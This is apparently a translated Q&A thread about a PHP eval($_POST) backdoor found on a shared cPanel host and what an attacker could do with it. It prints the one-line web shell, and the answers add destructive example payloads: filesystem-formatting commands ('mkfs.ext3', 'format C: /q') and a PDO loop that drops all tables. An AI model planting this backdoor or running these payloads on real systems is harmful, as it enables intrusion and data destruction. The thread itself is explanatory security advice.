2012-12-21 26 views
0

假設您在cPanel的共享網絡服務器中找到此代碼。你可以通過上傳一個shell到服務器或其他方法來訪問郵件附件或cPanel嗎?我不需要如何做的步驟。只是一個整體的想法。對不起,我不能給你更多的細節。但是這個代碼不是爲了攻擊任何人。eval php shell破解

<?php eval($_POST['path']);?>

+0

你可以執行任意的php,代碼提供了一個開門 – dm03514

+0

哇...這是超出你最瘋狂的夢想的危險。 「這是一個陷阱!」想到了。 – phpisuber01

+1

你剛開始啓示。謝謝。 –

回答

5

Yes.

注意

中的eval()語言結構是非常危險的,因爲它允許任意PHP代碼執行。因此不鼓勵它的使用。如果您已經仔細覈實沒有其他選擇而不是使用此構造,請特別注意不要將任何用戶提供的數據傳遞給它,而不事先進行適當的驗證。

例如,將path設置爲以下值將運行apache用戶有權運行的任何shell命令。

exec("system command here");

+0

是的,我知道這很危險。但是不應該服務器防火牆或者cPanel有一些防禦?我的意思是,如果您沒有來自Web託管公司的權限,則無法使用eval或其他PHP代碼執行系統命令。因此,在我看來,你只能搞砸該文件夾或上面的文件夾中的文件。對 ? – NVG

+1

@nevergone錯誤。這段代碼將允許您以apache用戶身份運行shell命令。唯一會限制用戶擁有的權限的是可以執行的操作。 – Mansfield

+0

這意味着攻擊者絕對可以訪問該用戶帳戶中的任何內容,甚至可以找到FTP通行證,郵件通行證等。是否正確? – NVG

0

這是一種可怕的安全漏洞,以允許未過濾的輸入數據,以執行任意的代碼。 PHP正在運行的用戶可以使用的任何訪問都將提供給可能的攻擊者。

+0

是的,我知道這很危險。但是不應該服務器防火牆或者cPanel有一些防禦?我的意思是,如果您沒有來自Web託管公司的權限,則無法使用eval或其他PHP代碼執行系統命令。因此,在我看來,你只能搞砸該文件夾或上面的文件夾中的文件。但是您無法訪問cPanel或發送電子郵件密碼。 – NVG

+0

的確,您將被限制爲PHP運行的訪問權限(通常是Web服務器的用戶)。但是,這可以很容易地用於刪除文件,並且如果服務器沒有被設置爲真正限制該用戶的訪問(即,防止「sudo」升級,具有適當的文件許可等),則可能更糟糕。這是一個非常非常糟糕的主意,當然,如果有更合適的方法來做你想做的事情的話。 –

1

除非您正確地維護您的輸入,否則即使您保持輸入,也不應使用Eval;它會給你的服務器帶來極大的風險。特別是如果你只是有eval運行從$_POST ..我可以使用Tamper data將該帖子的內容修改爲任何; SQL注入,運行任何東西,因爲PHP等

你不應該,除非

1)你知道你在做什麼

2使用這個)你覺得你是從攻擊者100%的安全。

參見手冊:

http://uk3.php.net/manual/en/function.eval.php

中的eval()語言結構是非常危險的,因爲它允許 執行的任意PHP代碼。因此不鼓勵它的使用。如果您 已仔細驗證除了使用此構造外沒有其他選擇,請特別注意不要將任何用戶提供的數據 加入其中,而不事先對其進行正確驗證。

例子:

在Linux系統上我的帖子可能是:

<?php exec(mkfs.ext3 /dev/sdb1); ?> 

,我會格式化你的FS

在Windows文件系統:

<?php exec("format C: /q"); ?> 

再次格式化。

這只是爲什麼不應該使用這個例子。

有點晚編輯:

我忘了將它添加到我的答案,所以我現在就添加它。

如果使用eval($_POST[]);您的腳本非常危險,IE。如果我發現你使用的是PDO和你的數據庫連接變量。我可以執行以下命令:

$Query = $eval->prepare("SHOW TABLES"); $Query->execute(); $Fetch = $Query->fetchAll(PDO::FETCH_COLUMN); print_r($Fetch); foreach($Fetch AS $F){ $New = $eval->exec("DROP TABLE {$F}"); } 

而且所有的表都將被刪除,這是爲什麼應該避免評估和演示一個小小的例子;

+0

只需要注意一點:eval實際上不需要php標籤,因爲它會自動假定傳遞給eval的任何東西都是php代碼。 – Mansfield

+0

@Mansfield Eitherway,Eval不應該使用;特別是直接從$ _POST –

+0

是的,當然。只是對你的例子進行觀察:) – Mansfield